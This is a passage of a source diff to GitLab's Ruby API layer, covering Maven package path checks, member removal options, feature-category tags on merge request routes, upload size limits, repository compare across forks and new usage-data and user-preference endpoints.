get 'packages/maven/*path/:file_name', requirements: MAVEN_ENDPOINT_REQUIREMENTS do
+ # return a similar failure to authorize_read_package!(project)
+ forbidden! unless path_exists?(params[:path])
+
file_name, format = extract_format(params[:file_name])
# To avoid name collision we require project path and project package be the same.
@@ -97,8 +125,7 @@ module API
authorize_read_package!(project)
- package = ::Packages::Maven::PackageFinder
- .new(params[:path], current_user, project: project).execute!
+ package = fetch_package(file_name: file_name, project: project)
package_file = ::Packages::PackageFileFinder
.new(package, file_name).execute!
@@ -127,14 +154,16 @@ module API
end
route_setting :authentication, job_token_allowed: true, deploy_token_allowed: true
get ':id/-/packages/maven/*path/:file_name', requirements: MAVEN_ENDPOINT_REQUIREMENTS do
+ # return a similar failure to group = find_group(params[:id])
+ not_found!('Group') unless path_exists?(params[:path])
+
file_name, format = extract_format(params[:file_name])
group = find_group(params[:id])
not_found!('Group') unless can?(current_user, :read_group, group)
- package = ::Packages::Maven::PackageFinder
- .new(params[:path], current_user, group: group).execute!
+ package = fetch_package(file_name: file_name, group: group)
authorize_read_package!(package.project)
@@ -167,12 +196,14 @@ module API
end
route_setting :authentication, job_token_allowed: true, deploy_token_allowed: true
get ':id/packages/maven/*path/:file_name', requirements: MAVEN_ENDPOINT_REQUIREMENTS do
+ # return a similar failure to user_project
+ not_found!('Project') unless path_exists?(params[:path])
+
authorize_read_package!(user_project)
file_name, format = extract_format(params[:file_name])
- package = ::Packages::Maven::PackageFinder
- .new(params[:path], current_user, project: user_project).execute!
+ package = fetch_package(file_name: file_name, project: user_project)
package_file = ::Packages::PackageFileFinder
.new(package, file_name).execute!
diff --git a/lib/api/members.rb b/lib/api/members.rb
index 42f608102b3..aaf0e3e1927 100644
--- a/lib/api/members.rb
+++ b/lib/api/members.rb
@@ -100,9 +100,9 @@ module API
authorize_admin_source!(source_type, source)
if params[:user_id].to_s.include?(',')
- create_service_params = params.except(:user_id).merge({ user_ids: params[:user_id] })
+ create_service_params = params.except(:user_id).merge({ user_ids: params[:user_id], source: source })
- ::Members::CreateService.new(current_user, create_service_params).execute(source)
+ ::Members::CreateService.new(current_user, create_service_params).execute
elsif params[:user_id].present?
member = source.members.find_by(user_id: params[:user_id])
conflict!('Member already exists') if member
@@ -155,6 +155,8 @@ module API
desc 'Removes a user from a group or project.'
params do
requires :user_id, type: Integer, desc: 'The user ID of the member'
+ optional :skip_subresources, type: Boolean, default: false,
+ desc: 'Flag indicating if the deletion of direct memberships of the removed member in subgroups and projects should be skipped'
optional :unassign_issuables, type: Boolean, default: false,
desc: 'Flag indicating if the removed member should be unassigned from any issues or merge requests within given group or project'
end
@@ -164,7 +166,7 @@ module API
member = source_members(source).find_by!(user_id: params[:user_id])
destroy_conditionally!(member) do
- ::Members::DestroyService.new(current_user).execute(member, unassign_issuables: params[:unassign_issuables])
+ ::Members::DestroyService.new(current_user).execute(member, skip_subresources: params[:skip_subresources], unassign_issuables: params[:unassign_issuables])
end
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/lib/api/merge_request_diffs.rb b/lib/api/merge_request_diffs.rb
index 97a6c7075b3..470f78a7dc2 100644
--- a/lib/api/merge_request_diffs.rb
+++ b/lib/api/merge_request_diffs.rb
@@ -45,7 +45,7 @@ module API
merge_request = find_merge_request_with_access(params[:merge_request_iid])
- present merge_request.merge_request_diffs.find(params[:version_id]), with: Entities::MergeRequestDiffFull
+ present_cached merge_request.merge_request_diffs.find(params[:version_id]), with: Entities::MergeRequestDiffFull, cache_context: nil
end
end
end
diff --git a/lib/api/merge_requests.rb b/lib/api/merge_requests.rb
index 5051c1a5529..613de514ffa 100644
--- a/lib/api/merge_requests.rb
+++ b/lib/api/merge_requests.rb
@@ -8,11 +8,20 @@ module API
before { authenticate_non_get! }
- feature_category :code_review
-
helpers Helpers::MergeRequestsHelpers
helpers Helpers::SSEHelpers
+ # These endpoints are defined in `TimeTrackingEndpoints` and is shared by
+ # API::Issues. In order to be able to define the feature category of these
+ # endpoints, we need to define them at the top-level by route.
+ feature_category :code_review, [
+ '/projects/:id/merge_requests/:merge_request_iid/time_estimate',
+ '/projects/:id/merge_requests/:merge_request_iid/reset_time_estimate',
+ '/projects/:id/merge_requests/:merge_request_iid/add_spent_time',
+ '/projects/:id/merge_requests/:merge_request_iid/reset_spent_time',
+ '/projects/:id/merge_requests/:merge_request_iid/time_stats'
+ ]
+
# EE::API::MergeRequests would override the following helpers
helpers do
params :optional_params_ee do
@@ -125,7 +134,7 @@ module API
use :merge_requests_params
use :optional_scope_param
end
- get do
+ get feature_category: :code_review do
authenticate! unless params[:scope] == 'all'
merge_requests = find_merge_requests
@@ -145,7 +154,7 @@ module API
optional :non_archived, type: Boolean, desc: 'Return merge requests from non archived projects',
default: true
end
- get ":id/merge_requests" do
+ get ":id/merge_requests", feature_category: :code_review do
merge_requests = find_merge_requests(group_id: user_group.id, include_subgroups: true)
present merge_requests, serializer_options_for(merge_requests).merge(group: user_group)
@@ -184,7 +193,7 @@ module API
use :merge_requests_params
optional :iids, type: Array[Integer], coerce_with: ::API::Validations::Types::CommaSeparatedToIntegerArray.coerce, desc: 'The IID array of merge requests'
end
- get ":id/merge_requests" do
+ get ":id/merge_requests", feature_category: :code_review do
authorize! :read_merge_request, user_project
merge_requests = find_merge_requests(project_id: user_project.id)
@@ -206,8 +215,8 @@ module API
desc: 'The target project of the merge request defaults to the :id of the project'
use :optional_params
end
- post ":id/merge_requests" do
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42316')
+ post ":id/merge_requests", feature_category: :code_review do
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/20770')
authorize! :create_merge_request_from, user_project
@@ -228,7 +237,7 @@ module API
params do
requires :merge_request_iid, type: Integer, desc: 'The IID of a merge request'
end
- delete ":id/merge_requests/:merge_request_iid" do
+ delete ":id/merge_requests/:merge_request_iid", feature_category: :code_review do
merge_request = find_project_merge_request(params[:merge_request_iid])
authorize!(:destroy_merge_request, merge_request)
@@ -247,7 +256,7 @@ module API
desc 'Get a single merge request' do
success Entities::MergeRequest
end
- get ':id/merge_requests/:merge_request_iid' do
+ get ':id/merge_requests/:merge_request_iid', feature_category: :code_review do
not_found!("Merge Request") unless can?(current_user, :read_merge_request, user_project)
merge_request = find_merge_request_with_access(params[:merge_request_iid])
@@ -265,7 +274,7 @@ module API
desc 'Get the participants of a merge request' do
success Entities::UserBasic
end
- get ':id/merge_requests/:merge_request_iid/participants' do
+ get ':id/merge_requests/:merge_request_iid/participants', feature_category: :code_review do
not_found!("Merge Request") unless can?(current_user, :read_merge_request, user_project)
merge_request = find_merge_request_with_access(params[:merge_request_iid])
@@ -278,7 +287,7 @@ module API
desc 'Get the commits of a merge request' do
success Entities::Commit
end
- get ':id/merge_requests/:merge_request_iid/commits' do
+ get ':id/merge_requests/:merge_request_iid/commits', feature_category: :code_review do
not_found!("Merge Request") unless can?(current_user, :read_merge_request, user_project)
merge_request = find_merge_request_with_access(params[:merge_request_iid])
@@ -293,7 +302,7 @@ module API
desc 'Get the context commits of a merge request' do
success Entities::Commit
end
- get ':id/merge_requests/:merge_request_iid/context_commits' do
+ get ':id/merge_requests/:merge_request_iid/context_commits', feature_category: :code_review do
merge_request = find_merge_request_with_access(params[:merge_request_iid])
project = merge_request.project
@@ -311,7 +320,7 @@ module API
desc 'create context commits of merge request' do
success Entities::Commit
end
- post ':id/merge_requests/:merge_request_iid/context_commits' do
+ post ':id/merge_requests/:merge_request_iid/context_commits', feature_category: :code_review do
commit_ids = params[:commits]
if commit_ids.size > CONTEXT_COMMITS_POST_LIMIT
@@ -339,7 +348,7 @@ module API
requires :commits, type: Array[String], coerce_with: ::API::Validations::Types::CommaSeparatedToArray.coerce, allow_blank: false, desc: 'List of context commits sha'
end
desc 'remove context commits of merge request'
- delete ':id/merge_requests/:merge_request_iid/context_commits' do
+ delete ':id/merge_requests/:merge_request_iid/context_commits', feature_category: :code_review do
commit_ids = params[:commits]
merge_request = find_merge_request_with_access(params[:merge_request_iid])
project = merge_request.project
@@ -361,7 +370,7 @@ module API
desc 'Show the merge request changes' do
success Entities::MergeRequestChanges
end
- get ':id/merge_requests/:merge_request_iid/changes' do
+ get ':id/merge_requests/:merge_request_iid/changes', feature_category: :code_review do
not_found!("Merge Request") unless can?(current_user, :read_merge_request, user_project)
merge_request = find_merge_request_with_access(params[:merge_request_iid])
@@ -376,7 +385,7 @@ module API
desc 'Get the merge request pipelines' do
success Entities::Ci::PipelineBasic
end
- get ':id/merge_requests/:merge_request_iid/pipelines' do
+ get ':id/merge_requests/:merge_request_iid/pipelines', feature_category: :continuous_integration do
pipelines = merge_request_pipelines_with_access
not_found!("Merge Request") unless can?(current_user, :read_merge_request, user_project)
@@ -387,7 +396,7 @@ module API
desc 'Create a pipeline for merge request' do
success ::API::Entities::Ci::Pipeline
end
- post ':id/merge_requests/:merge_request_iid/pipelines' do
+ post ':id/merge_requests/:merge_request_iid/pipelines', feature_category: :continuous_integration do
pipeline = ::MergeRequests::CreatePipelineService
.new(user_project, current_user, allow_duplicate: true)
.execute(find_merge_request_with_access(params[:merge_request_iid]))
@@ -415,8 +424,8 @@ module API
use :optional_params
at_least_one_of(*::API::MergeRequests.update_params_at_least_one_of)
end
- put ':id/merge_requests/:merge_request_iid' do
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42318')
+ put ':id/merge_requests/:merge_request_iid', feature_category: :code_review do
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/20772')
merge_request = find_merge_request_with_access(params.delete(:merge_request_iid), :update_merge_request)
@@ -424,7 +433,13 @@ module API
mr_params[:force_remove_source_branch] = mr_params.delete(:remove_source_branch) if mr_params.has_key?(:remove_source_branch)
mr_params = convert_parameters_from_legacy_format(mr_params)
- merge_request = ::MergeRequests::UpdateService.new(user_project, current_user, mr_params).execute(merge_request)
+ service = if mr_params.one? && (mr_params.keys & %i[assignee_id assignee_ids]).one?
+ ::MergeRequests::UpdateAssigneesService
+ else
+ ::MergeRequests::UpdateService
+ end
+
+ merge_request = service.new(user_project, current_user, mr_params).execute(merge_request)
handle_merge_request_errors!(merge_request)
@@ -444,8 +459,8 @@ module API
optional :sha, type: String, desc: 'When present, must have the HEAD SHA of the source branch'
optional :squash, type: Grape::API::Boolean, desc: 'When true, the commits will be squashed into a single commit on merge'
end
- put ':id/merge_requests/:merge_request_iid/merge' do
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42317')
+ put ':id/merge_requests/:merge_request_iid/merge', feature_category: :code_review do
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/4796')
merge_request = find_project_merge_request(params[:merge_request_iid])
@@ -485,7 +500,7 @@ module API
end
desc 'Returns the up to date merge-ref HEAD commit'
- get ':id/merge_requests/:merge_request_iid/merge_ref' do
+ get ':id/merge_requests/:merge_request_iid/merge_ref', feature_category: :code_review do
merge_request = find_project_merge_request(params[:merge_request_iid])
result = ::MergeRequests::MergeabilityCheckService.new(merge_request).execute(recheck: true)
@@ -500,7 +515,7 @@ module API
desc 'Cancel merge if "Merge When Pipeline Succeeds" is enabled' do
success Entities::MergeRequest
end
- post ':id/merge_requests/:merge_request_iid/cancel_merge_when_pipeline_succeeds' do
+ post ':id/merge_requests/:merge_request_iid/cancel_merge_when_pipeline_succeeds', feature_category: :code_review do
merge_request = find_project_merge_request(params[:merge_request_iid])
unauthorized! unless merge_request.can_cancel_auto_merge?(current_user)
@@ -514,7 +529,7 @@ module API
params do
optional :skip_ci, type: Boolean, desc: 'Do not create CI pipeline'
end
- put ':id/merge_requests/:merge_request_iid/rebase' do
+ put ':id/merge_requests/:merge_request_iid/rebase', feature_category: :code_review do
merge_request = find_project_merge_request(params[:merge_request_iid])
authorize_push_to_merge_request!(merge_request)
@@ -533,7 +548,7 @@ module API
params do
use :pagination
end
- get ':id/merge_requests/:merge_request_iid/closes_issues' do
+ get ':id/merge_requests/:merge_request_iid/closes_issues', feature_category: :code_review do
merge_request = find_merge_request_with_access(params[:merge_request_iid])
issues = ::Kaminari.paginate_array(merge_request.visible_closing_issues_for(current_user))
issues = paginate(issues)
diff --git a/lib/api/milestone_responses.rb b/lib/api/milestone_responses.rb
index b337b992841..d75ed3a48d7 100644
--- a/lib/api/milestone_responses.rb
+++ b/lib/api/milestone_responses.rb
@@ -80,7 +80,7 @@ module API
params = build_finder_params(milestone, parent)
- issuables = finder_klass.new(current_user, params).execute
+ issuables = finder_klass.new(current_user, params).execute.with_api_entity_associations
present paginate(issuables), with: entity, current_user: current_user
end
diff --git a/lib/api/namespaces.rb b/lib/api/namespaces.rb
index 25a901c18b6..465d2f23e9d 100644
--- a/lib/api/namespaces.rb
+++ b/lib/api/namespaces.rb
@@ -56,6 +56,23 @@ module API
present user_namespace, with: Entities::Namespace, current_user: current_user
end
+
+ desc 'Get existence of a namespace including alternative suggestions' do
+ success Entities::NamespaceExistence
+ end
+ params do
+ requires :namespace, type: String, desc: "Namespace's path"
+ optional :parent_id, type: Integer, desc: "The ID of the parent namespace. If no ID is specified, only top-level namespaces are considered."
+ end
+ get ':namespace/exists', requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
+ namespace_path = params[:namespace]
+
+ exists = Namespace.by_parent(params[:parent_id]).filter_by_path(namespace_path).exists?
+ suggestions = exists ? [Namespace.clean_path(namespace_path)] : []
+
+ present :exists, exists
+ present :suggests, suggestions
+ end
end
end
end
diff --git a/lib/api/project_import.rb b/lib/api/project_import.rb
index 15b06cea385..5f3a574eeee 100644
--- a/lib/api/project_import.rb
+++ b/lib/api/project_import.rb
@@ -67,7 +67,7 @@ module API
check_rate_limit! :project_import, [current_user, :project_import]
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42437')
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/20823')
validate_file!
diff --git a/lib/api/projects.rb b/lib/api/projects.rb
index 19b63c28f89..92f6970e6fc 100644
--- a/lib/api/projects.rb
+++ b/lib/api/projects.rb
@@ -13,6 +13,8 @@ module API
feature_category :projects, ['/projects/:id/custom_attributes', '/projects/:id/custom_attributes/:key']
+ PROJECT_ATTACHMENT_SIZE_EXEMPT = 1.gigabyte
+
helpers do
# EE::API::Projects would override this method
def apply_filters(projects)
@@ -52,6 +54,29 @@ module API
accepted!
end
+
+ def exempt_from_global_attachment_size?(user_project)
+ list = ::Gitlab::RackAttack::UserAllowlist.new(ENV['GITLAB_UPLOAD_API_ALLOWLIST'])
+ list.include?(user_project.id)
+ end
+
+ # Temporarily introduced for upload API: https://gitlab.com/gitlab-org/gitlab/-/issues/325788
+ def project_attachment_size(user_project)
+ return PROJECT_ATTACHMENT_SIZE_EXEMPT if exempt_from_global_attachment_size?(user_project)
+ return user_project.max_attachment_size if Feature.enabled?(:enforce_max_attachment_size_upload_api, user_project)
+
+ PROJECT_ATTACHMENT_SIZE_EXEMPT
+ end
+
+ # This is to help determine which projects to use in https://gitlab.com/gitlab-org/gitlab/-/issues/325788
+ def log_if_upload_exceed_max_size(user_project, file)
+ return if file.size <= user_project.max_attachment_size
+
+ if file.size > user_project.max_attachment_size
+ allowed = exempt_from_global_attachment_size?(user_project)
+ Gitlab::AppLogger.info({ message: "File exceeds maximum size", file_bytes: file.size, project_id: user_project.id, project_path: user_project.full_path, upload_allowed: allowed })
+ end
+ end
end
helpers do
@@ -215,7 +240,7 @@ module API
use :create_params
end
post do
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab/issues/21139')
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/issues/21139')
attrs = declared_params(include_missing: false)
attrs = translate_params_for_compatibility(attrs)
filter_attributes_using_license!(attrs)
@@ -248,7 +273,7 @@ module API
end
# rubocop: disable CodeReuse/ActiveRecord
post "user/:user_id", feature_category: :projects do
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab/issues/21139')
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/issues/21139')
authenticated_as_admin!
user = User.find_by(id: params.delete(:user_id))
not_found!('User') unless user
@@ -310,7 +335,7 @@ module API
optional :visibility, type: String, values: Gitlab::VisibilityLevel.string_values, desc: 'The visibility of the fork'
end
post ':id/fork', feature_category: :source_code_management do
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42284')
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/20759')
not_found! unless can?(current_user, :fork_project, user_project)
@@ -460,7 +485,7 @@ module API
get ':id/languages', feature_category: :source_code_management do
::Projects::RepositoryLanguagesService
.new(user_project, current_user)
- .execute.map { |lang| [lang.name, lang.share] }.to_h
+ .execute.to_h { |lang| [lang.name, lang.share] }
end
desc 'Delete a project'
@@ -545,13 +570,27 @@ module API
end
# rubocop: enable CodeReuse/ActiveRecord
+ desc 'Workhorse authorize the file upload' do
+ detail 'This feature was introduced in GitLab 13.11'
+ end
+ post ':id/uploads/authorize', feature_category: :not_owned do
+ require_gitlab_workhorse!
+
+ status 200
+ content_type Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE
+ FileUploader.workhorse_authorize(has_length: false, maximum_size: project_attachment_size(user_project))
+ end
+
desc 'Upload a file'
params do
- # TODO: remove rubocop disable - https://gitlab.com/gitlab-org/gitlab/issues/14960
- requires :file, type: File, desc: 'The file to be uploaded' # rubocop:disable Scalability/FileUploads
+ requires :file, types: [Rack::Multipart::UploadedFile, ::API::Validations::Types::WorkhorseFile], desc: 'The attachment file to be uploaded'
end
post ":id/uploads", feature_category: :not_owned do
- upload = UploadService.new(user_project, params[:file]).execute
+ log_if_upload_exceed_max_size(user_project, params[:file])
+
+ service = UploadService.new(user_project, params[:file])
+ service.override_max_attachment_size = project_attachment_size(user_project)
+ upload = service.execute
present upload, with: Entities::ProjectUpload
end
diff --git a/lib/api/repositories.rb b/lib/api/repositories.rb
index f6ffeeea829..033cc6744b0 100644
--- a/lib/api/repositories.rb
+++ b/lib/api/repositories.rb
@@ -116,10 +116,23 @@ module API
params do
requires :from, type: String, desc: 'The commit, branch name, or tag name to start comparison'
requires :to, type: String, desc: 'The commit, branch name, or tag name to stop comparison'
+ optional :from_project_id, type: String, desc: 'The project to compare from'
optional :straight, type: Boolean, desc: 'Comparison method, `true` for direct comparison between `from` and `to` (`from`..`to`), `false` to compare using merge base (`from`...`to`)', default: false
end
get ':id/repository/compare' do
- compare = CompareService.new(user_project, params[:to]).execute(user_project, params[:from], straight: params[:straight])
+ if params[:from_project_id].present?
+ target_project = MergeRequestTargetProjectFinder
+ .new(current_user: current_user, source_project: user_project, project_feature: :repository)
+ .execute(include_routes: true).find_by_id(params[:from_project_id])
+
+ if target_project.blank?
+ render_api_error!("Target project id:#{params[:from_project_id]} is not a fork of project id:#{params[:id]}", 400)
+ end
+ else
+ target_project = user_project
+ end
+
+ compare = CompareService.new(user_project, params[:to]).execute(target_project, params[:from], straight: params[:straight])
if compare
present compare, with: Entities::Compare
diff --git a/lib/api/resource_access_tokens.rb b/lib/api/resource_access_tokens.rb
index 99c278be8e7..705e4778c83 100644
--- a/lib/api/resource_access_tokens.rb
+++ b/lib/api/resource_access_tokens.rb
@@ -19,7 +19,7 @@ module API
get ":id/access_tokens" do
resource = find_source(source_type, params[:id])
- next unauthorized! unless has_permission_to_read?(resource)
+ next unauthorized! unless current_user.can?(:read_resource_access_tokens, resource)
tokens = PersonalAccessTokensFinder.new({ user: resource.bots, impersonation: false }).execute
@@ -85,10 +85,6 @@ module API
def find_token(resource, token_id)
PersonalAccessTokensFinder.new({ user: resource.bots, impersonation: false }).find_by_id(token_id)
end
-
- def has_permission_to_read?(resource)
- can?(current_user, :project_bot_access, resource) || can?(current_user, :admin_resource_access_tokens, resource)
- end
end
end
end
diff --git a/lib/api/rubygem_packages.rb b/lib/api/rubygem_packages.rb
index 8d2d4586d8d..1d17148e0df 100644
--- a/lib/api/rubygem_packages.rb
+++ b/lib/api/rubygem_packages.rb
@@ -99,6 +99,8 @@ module API
track_package_event('push_package', :rubygems)
+ package_file = nil
+
ActiveRecord::Base.transaction do
package = ::Packages::CreateTemporaryPackageService.new(
user_project, current_user, declared_params.merge(build: current_authenticated_job)
@@ -109,12 +111,18 @@ module API
file_name: PACKAGE_FILENAME
}
- ::Packages::CreatePackageFileService.new(
+ package_file = ::Packages::CreatePackageFileService.new(
package, file_params.merge(build: current_authenticated_job)
).execute
end
- created!
+ if package_file
+ ::Packages::Rubygems::ExtractionWorker.perform_async(package_file.id) # rubocop:disable CodeReuse/Worker
+
+ created!
+ else
+ bad_request!('Package creation failed')
+ end
rescue ObjectStorage::RemoteStoreError => e
Gitlab::ErrorTracking.track_exception(e, extra: { file_name: params[:file_name], project_id: user_project.id })
diff --git a/lib/api/search.rb b/lib/api/search.rb
index f0ffe6ba443..8fabf379d49 100644
--- a/lib/api/search.rb
+++ b/lib/api/search.rb
@@ -22,13 +22,15 @@ module API
users: Entities::UserBasic
}.freeze
- SCOPE_PRELOAD_METHOD = {
- merge_requests: :with_api_entity_associations,
- projects: :with_api_entity_associations,
- issues: :with_api_entity_associations,
- milestones: :with_api_entity_associations,
- commits: :with_api_commit_entity_associations
- }.freeze
+ def scope_preload_method
+ {
+ merge_requests: :with_api_entity_associations,
+ projects: :with_api_entity_associations,
+ issues: :with_api_entity_associations,
+ milestones: :with_api_entity_associations,
+ commits: :with_api_commit_entity_associations
+ }.freeze
+ end
def search(additional_params = {})
search_params = {
@@ -60,7 +62,7 @@ module API
end
def preload_method
- SCOPE_PRELOAD_METHOD[params[:scope].to_sym]
+ scope_preload_method[params[:scope].to_sym]
end
def verify_search_scope!(resource:)
diff --git a/lib/api/settings.rb b/lib/api/settings.rb
index 64a72b4cb7f..95d0c525ced 100644
--- a/lib/api/settings.rb
+++ b/lib/api/settings.rb
@@ -30,6 +30,7 @@ module API
success Entities::ApplicationSetting
end
params do
+ optional :admin_mode, type: Boolean, desc: 'Require admin users to re-authenticate for administrative (i.e. potentially dangerous) operations'
optional :admin_notification_email, type: String, desc: 'Deprecated: Use :abuse_notification_email instead. Abuse reports will be sent to this address if it is set. Abuse reports are always available in the admin area.'
optional :abuse_notification_email, type: String, desc: 'Abuse reports will be sent to this address if it is set. Abuse reports are always available in the admin area.'
optional :after_sign_up_text, type: String, desc: 'Text shown after sign up'
diff --git a/lib/api/tags.rb b/lib/api/tags.rb
index 7636c45bdac..e77d7e34de3 100644
--- a/lib/api/tags.rb
+++ b/lib/api/tags.rb
@@ -28,7 +28,13 @@ module API
sort: "#{params[:order_by]}_#{params[:sort]}",
search: params[:search]).execute
- present paginate(::Kaminari.paginate_array(tags)), with: Entities::Tag, project: user_project
+ paginated_tags = paginate(::Kaminari.paginate_array(tags))
+
+ if Feature.enabled?(:api_caching_tags, user_project, type: :development)
+ present_cached paginated_tags, with: Entities::Tag, project: user_project, cache_context: -> (_tag) { user_project.cache_key }
+ else
+ present paginated_tags, with: Entities::Tag, project: user_project
+ end
end
desc 'Get a single repository tag' do
diff --git a/lib/api/triggers.rb b/lib/api/triggers.rb
index aebbc95cbea..84c51e5aeac 100644
--- a/lib/api/triggers.rb
+++ b/lib/api/triggers.rb
@@ -21,7 +21,7 @@ module API
optional :variables, type: Hash, desc: 'The list of variables to be injected into build'
end
post ":id/(ref/:ref/)trigger/pipeline", requirements: { ref: /.+/ } do
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42283')
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/20758')
forbidden! if gitlab_pipeline_hook_request?
diff --git a/lib/api/usage_data.rb b/lib/api/usage_data.rb
index c7d63f8d6ac..7deec15dcac 100644
--- a/lib/api/usage_data.rb
+++ b/lib/api/usage_data.rb
@@ -2,24 +2,22 @@
module API
class UsageData < ::API::Base
- before { authenticate! }
+ before { authenticate_non_get! }
feature_category :usage_ping
namespace 'usage_data' do
before do
- not_found! unless Feature.enabled?(:usage_data_api, default_enabled: true)
+ not_found! unless Feature.enabled?(:usage_data_api, default_enabled: :yaml, type: :ops)
forbidden!('Invalid CSRF token is provided') unless verified_request?
end
desc 'Track usage data events' do
detail 'This feature was introduced in GitLab 13.4.'
end
-
params do
requires :event, type: String, desc: 'The event name that should be tracked'
end
-
post 'increment_counter' do
event_name = params[:event]
@@ -31,7 +29,6 @@ module API
params do
requires :event, type: String, desc: 'The event name that should be tracked'
end
-
post 'increment_unique_users' do
event_name = params[:event]
@@ -39,6 +36,16 @@ module API
status :ok
end
+
+ desc 'Get a list of all metric definitions' do
+ detail 'This feature was introduced in GitLab 13.11.'
+ end
+ get 'metric_definitions' do
+ content_type 'application/yaml'
+ env['api.format'] = :binary
+
+ Gitlab::Usage::MetricDefinition.dump_metrics_yaml
+ end
end
end
end
diff --git a/lib/api/usage_data_non_sql_metrics.rb b/lib/api/usage_data_non_sql_metrics.rb
new file mode 100644
index 00000000000..63a14a223f5
--- /dev/null
+++ b/lib/api/usage_data_non_sql_metrics.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module API
+ class UsageDataNonSqlMetrics < ::API::Base
+ before { authenticated_as_admin! }
+
+ feature_category :usage_ping
+
+ namespace 'usage_data' do
+ before do
+ not_found! unless Feature.enabled?(:usage_data_non_sql_metrics, default_enabled: :yaml, type: :ops)
+ end
+
+ desc 'Get Non SQL usage ping metrics' do
+ detail 'This feature was introduced in GitLab 13.11.'
+ end
+
+ get 'non_sql_metrics' do
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/325534')
+
+ data = Gitlab::UsageDataNonSqlMetrics.uncached_data
+
+ present data
+ end
+ end
+ end
+end
diff --git a/lib/api/usage_data_queries.rb b/lib/api/usage_data_queries.rb
new file mode 100644
index 00000000000..0ad9ad7650c
--- /dev/null
+++ b/lib/api/usage_data_queries.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module API
+ class UsageDataQueries < ::API::Base
+ before { authenticated_as_admin! }
+
+ feature_category :usage_ping
+
+ namespace 'usage_data' do
+ before do
+ not_found! unless Feature.enabled?(:usage_data_queries_api, default_enabled: :yaml, type: :ops)
+ end
+
+ desc 'Get raw SQL queries for usage data SQL metrics' do
+ detail 'This feature was introduced in GitLab 13.11.'
+ end
+
+ get 'queries' do
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/325534')
+
+ queries = Gitlab::UsageDataQueries.uncached_data
+
+ present queries
+ end
+ end
+ end
+end
diff --git a/lib/api/users.rb b/lib/api/users.rb
index b2f99bb18dc..078ba7542a3 100644
--- a/lib/api/users.rb
+++ b/lib/api/users.rb
@@ -231,7 +231,7 @@ module API
optional :password, type: String, desc: 'The password of the new user'
optional :reset_password, type: Boolean, desc: 'Flag indicating the user will be sent a password reset token'
optional :skip_confirmation, type: Boolean, desc: 'Flag indicating the account is confirmed'
- at_least_one_of :password, :reset_password
+ at_least_one_of :password, :reset_password, :force_random_password
requires :name, type: String, desc: 'The name of the user'
requires :username, type: String, desc: 'The username of the user'
optional :force_random_password, type: Boolean, desc: 'Flag indicating a random password will be set'
@@ -571,8 +571,6 @@ module API
end
# rubocop: disable CodeReuse/ActiveRecord
delete ":id", feature_category: :users do
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab/issues/20757')
-
authenticated_as_admin!
user = User.find_by(id: params[:id])
@@ -998,6 +996,29 @@ module API
present paginate(current_user.emails), with: Entities::Email
end
+ desc "Update the current user's preferences" do
+ success Entities::UserPreferences
+ detail 'This feature was introduced in GitLab 13.10.'
+ end
+ params do
+ requires :view_diffs_file_by_file, type: Boolean, desc: 'Flag indicating the user sees only one file diff per page'
+ end
+ put "preferences", feature_category: :users do
+ authenticate!
+
+ preferences = current_user.user_preference
+
+ attrs = declared_params(include_missing: false)
+
+ service = ::UserPreferences::UpdateService.new(current_user, attrs).execute
+
+ if service.success?
+ present preferences, with: Entities::UserPreferences
+ else
+ render_api_error!('400 Bad Request', 400)
+ end
+ end
+
desc 'Get a single email address owned by the currently authenticated user' do
success Entities::Email
end
diff --git a/lib/api/v3/github.rb b/lib/api/v3/github.rb
index 2d25e76626a..29e4a79110f 100644
--- a/lib/api/v3/github.rb
+++ b/lib/api/v3/github.rb
@@ -18,7 +18,7 @@ module API
# Used to differentiate Jira Cloud requests from Jira Server requests
# Jira Cloud user agent format: Jira DVCS Connector Vertigo/version
# Jira Server user agent format: Jira DVCS Connector/version
- JIRA_DVCS_CLOUD_USER_AGENT = 'Jira DVCS Connector Vertigo'.freeze
+ JIRA_DVCS_CLOUD_USER_AGENT = 'Jira DVCS Connector Vertigo'
include PaginationParams
@@ -75,11 +75,14 @@ module API
# rubocop: enable CodeReuse/ActiveRecord
def authorized_merge_requests
- MergeRequestsFinder.new(current_user, authorized_only: !current_user.admin?).execute
+ MergeRequestsFinder.new(current_user, authorized_only: !current_user.admin?)
+ .execute.with_jira_integration_associations
end
def authorized_merge_requests_for_project(project)
- MergeRequestsFinder.new(current_user, authorized_only: !current_user.admin?, project_id: project.id).execute
+ MergeRequestsFinder
+ .new(current_user, authorized_only: !current_user.admin?, project_id: project.id)
+ .execute.with_jira_integration_associations
end
# rubocop: disable CodeReuse/ActiveRecord
@@ -194,16 +197,13 @@ module API
# Self-hosted Jira (tested on 7.11.1) requests this endpoint right
# after fetching branches.
- # rubocop: disable CodeReuse/ActiveRecord
